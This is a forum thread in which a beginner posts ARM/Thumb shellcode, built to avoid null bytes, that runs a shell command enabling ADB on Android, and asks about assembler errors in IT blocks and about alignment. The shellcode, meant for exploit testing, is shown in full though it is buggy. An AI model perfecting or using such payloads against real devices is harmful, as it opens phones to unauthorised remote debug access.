Hi all. I'll begin by saying I'm an amateur in assembly language and I've been learning much of it as I go. I'm used to high level languages like Java, so this is a marked difference. I'm trying to write a small assembly program that will essentially execute a shell command to enable adb. The intended use of this programprogram, or rather, shellcode, is to be do exploit testing for myselfmyself, so, I've intentionally written it in such a way that is least likely to produce null bytes in the output. Code below.
.section .text.global _start
/* Reference of registers: R0 = adr_shell R1 = adr_argv R2 = adr_env R3 = NULL R4 = 'X' R6 = our argument to replace_X R7 = system call register*/
_start: .code 32 @ Stage up for going into THUMB mode add r3, pc, #1 bx r3 .code 16 @ Set the registers to reference our ascii arguments ldr r0, =adr_shell ldr r1, =adr_argv ldr r2, =adr_env @ Set our null register and our 'X' eor r3, r3, r3 @ R3 = NULL ldr r4, ='X' @ Replace 'X' in adr_shell with null byte mov r6, r0 @ Set up our replace_X argument bl replace_X @ Replace 'X' in adr_argv with null byte mov r6, r1 @ Set up our replace_X argument bl replace_X @ Replace 'X' in adr_env with null byte mov r6, r2 @ Set up our replace_X argument bl replace_X @ Do system call w/ execve call number mov r7, #11 @ execve(shell, argv, env) svc #1 @ system call
adr_shell: .ascii "/system/bin/shX"adr_argv: .ascii "setprop persist.sys.usb.config adbX"adr_env: .ascii "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbinX"
@ Look for 'X' in R6 and replace it with R3replace_X: cmp r4, #[r6] @ If condition above sets Not Equal flag in CSPR, Then R6++ and loop itt ne addne r6, #1 bne replace_x strb r3, [r6] b lr
The error I get with the GNU assembler is:
shellcode.s: Assembler messages:shellcode.s:56: Error: Thumb does not support conditional executionshellcode.s:57: Error: branch must be last instruction in IT block -- `bne replace_x'shellcode.s:59: Error: instruction not allowed in IT block -- `strb r3,[r6]'
But why?? I thought an IT block was specifically for Thumb state? Can anyone clarify to me what I'm doing wrong here?
Are you still looking for help with this question?
Yes,absolutely. I've even got myself a book in ARM assembly to tackle this. If you have any insights on it I'd certainly appreciate your input (:
Okay, so I did manage to figure out the issue with why my IT block was not working. It had to do with misuse of the cmp instruction and a typo in the branch instruction. I typed 'replace_x' rather than 'replace_X'. That said, I am now experiencing an unrelated problem. Part of the goal of this mini program is be assembled with no null bytes anywhere inside of it; so no 0x00. I happened to notice that using the ldr instruction with labels for PC relative addressing made the assembler insert the addresses of the labels to be read at the very bottom of the program. The problem with is is that they're null byte padded so as to keep them word-aligned. I do not want this. Instead, I opted to use the adr instruction. This, however, makes the assembler complain that the addresses being loaded are not word aligned. Forcing the assembler to produce an output and then disassembling it with objdump shows that the assembler *still* automatically adjusted the value to be word-aligned, making the instruction moot because the register is no longer pointing to what I wanted it to. My question now is this: why exactly does any athematic involving the pc register require the result to be word aligned, with the exception of setting the least significant bit to 1 (I.e. add 1)?
Hello, from the original message, the branch instruction must be the last instruction in an IT block.May I refer you to the below article if you have not seen it previously, it may help you decipher your issue